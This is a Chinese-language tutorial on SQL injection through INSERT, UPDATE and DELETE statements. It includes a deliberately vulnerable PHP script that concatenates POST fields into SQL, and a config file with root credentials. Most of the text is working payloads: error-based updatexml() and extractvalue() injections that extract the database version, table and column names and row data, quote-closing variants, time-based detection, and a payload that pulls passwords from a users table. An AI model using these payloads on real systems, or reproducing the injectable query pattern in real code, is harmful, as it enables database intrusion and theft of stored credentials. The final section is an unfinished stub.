SQL注入-insert、update、delete注入

SQL注入类型很多,包括insert、update、delete都有办法注入,今天总结一下这三个注入,包含实例。

配置环境

Apache+Mysql 5.5.53+PHP 5.6搭建一个web服务器。

然后用下面的创建表语句创建一个表用来测试。

1
2
3
4
5
6
7
8
9
create table member__sq(
p_id INT NOT NULL AUTO_INCREMENT,
p_name VARCHAR(100) NOT NULL,
p_number INT NOT NULL,
p_owner VARCHAR(100) NOT NULL,
p_ney VARCHAR(100) NOT NULL,
sqdate DATE,
PRIMARY KEY ( p_id )
);

PHP漏洞代码:

sqltest.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

<?php
error_reporting(0);
//error_reporting(E_ALL ^ E_DEPRECATED);
include('./config.php');
$conn=mysql_connect($mysql_server_name,$mysql_username,$mysql_password) or die("error connecting") ; //连接数据库

mysql_query("set names 'utf8'"); //数据库输出编码 应该与你的数据库编码保持一致.

mysql_select_db($mysql_database); //打开数据库

$_id=$_POST[id];
$_ney="test123";
$sql = " insert into member__sq(p_name,p_number,p_owner,p_ney,sqdate) values(
'{$_POST[_name]}','{$_POST[_number]}','{$_POST[_owner]}','{$_ney}','".time()."') ";
echo $sql;
//insert into member__sq(p_name,p_number,p_owner,p_ney,sqdate) values('te1st','51','me','test123') and 1=1//','1511233968')
$result = mysql_query($sql,$conn);
if(mysql_affected_rows()=="-1"){
echo "<br>".mysql_error();
}else{
echo "sucess!";
}
mysql_close();


?>

config.php

1
2
3
4
5
6
7
8
9
10
<?php

$mysql_server_name='localhost'; //改成自己的mysql数据库服务器

$mysql_username='root'; //改成自己的mysql数据库用户名

$mysql_password='root'; //改成自己的mysql数据库密码

$mysql_database='a'; //改成自己的mysql数据库名
?>

update注入

注入语句

1
2
insert into member__sq(p_name,p_number,p_owner,p_ney,sqdate) values( 'te1st','51','Olivia' or 注入语句
or'','test123','1511241494') -- 单引号也可以换成双引号

使用updatexml()显错来注入

这里要说明一下,用updatexml()进行显错注入,有一个条件:

1
echo  "<br>".mysql_error();

必须打印mysql_error()才行,如果不打印呢,后面会介绍到。

updatexml函数介绍:

1
2
3
4
5

UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据

显示MySQL版本

1
payload:_name=te1st&_number=51&_owner=Olivia' or updatexml(0,concat(0x7c,version()),1) or'

如果不加上concat会只显示.53,concat是字符拼接函数。

查表名

1
_name=te1st&_number=51&_owner=Olivia' or updatexml(0,concat(0x7c,(select group_concat(table_name) from information_schema.tables where table_schema = database())),1) or'

查列名

1
_name=te1st&_number=51&_owner=Olivia' or updatexml(0,concat(0x7c,(select group_concat(column_name) from information_schema.columns where table_name = 'member__sq')),1) or'

发现爆列名的时候没把所有列全部输出出来,这里可以用concat代替group_concat只不过要在语句末尾加上limit 0,1

爆数据

1
_name=te1st&_number=51&_owner=Olivia' or updatexml(0,concat(0x7c,(select concat(p_name,0x7c,p_number) from member__sq where p_id=111)),1) or'

使用extractvalue()报错注入

1
2
3
EXTRACTVALUE (XML_document, XPath_string);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串).

extractvalue()和updatexml()类似,只不过extractvalue()只需要两个个参数。

_name=te1st&_number=51&_owner=Olivia' or extractvalue(0,concat(0x7c,(select concat(p_name,0x7c,p_number) from member__sq where p_id=111))) or'

tips:extractvalue只能显示32位

1
Olivia' or extractvalue(0,concat(0x7c,(select mid(p_name,32,39) from member__sq where p_id=15))) or' -- 需要用mid控制一下位数,updatexml也是这样。

update注入

1
2
3
4
5
UPDATE  `member__sq` SET  `p_name` =  'updatexxxx'or updatexml(0,concat(0x7c,version()),1) or'',
`p_number` =15,
`p_owner` = 'me',
`p_ney` = 'key',
`sqdate` = '2018-11-11' WHERE p_id=1

1
2
3
4
5
UPDATE  `member__sq` SET  `p_name` =  'updatexxxx'or extractvalue(0,concat(0x7c,version())) or'',
`p_number` =15,
`p_owner` = 'me',
`p_ney` = 'key',
`sqdate` = '2018-11-11' WHERE p_id=1

delete注入

更多闭合方式

1
2
3
4
5
6
7
' or (payload) or '
' and (payload) and '
' or (payload) and '
' or (payload) and '='
'* (payload) *'
' or (payload) and '
" – (payload) – "

补充

2018.02.02补充

判断注入

判断insert注入,数据包括’ 或者 \时,数据无法插入,则80%是注入,20%是被拦截规则拦截掉了。在开发中,拼接SQL语句一般是:

1
$sql = "INSERT INTO student values($stuId,'$stuName',$stuChinese,$stuEnglish,$stuMath)";

带入数据库的字符串是用’ 包裹的,测试数据中带有”,如果能插入数据则90%是注入(“ 不影响数据库执行的sql语句的闭合。往数据库里面插入双引号会变成单引号)。

将测试数据中包含\’ 如果能插入数据,则 100% 证明存在注入。方法(2) 或者插入sleep(5) 延时5秒进入页面,也可以判断存在注入。

判断update注入,检测方法同上。

如果是一个数字参数,则只能用方法(2)进行判断。

巧用回显进行注入

insert注入中判断列的个数:

在提交的数据后添加,’ ‘,’ ‘);– 后面有多少个’ ‘,就代表后面还有多少个列。

注入数据:

1
payload : _name=bbss','',(select password from users) ,'',''); -- /*后面要加一个空格,否则MySQL容易识别成减号*/

update注入:

新的测试代码

insert_update_injectionCode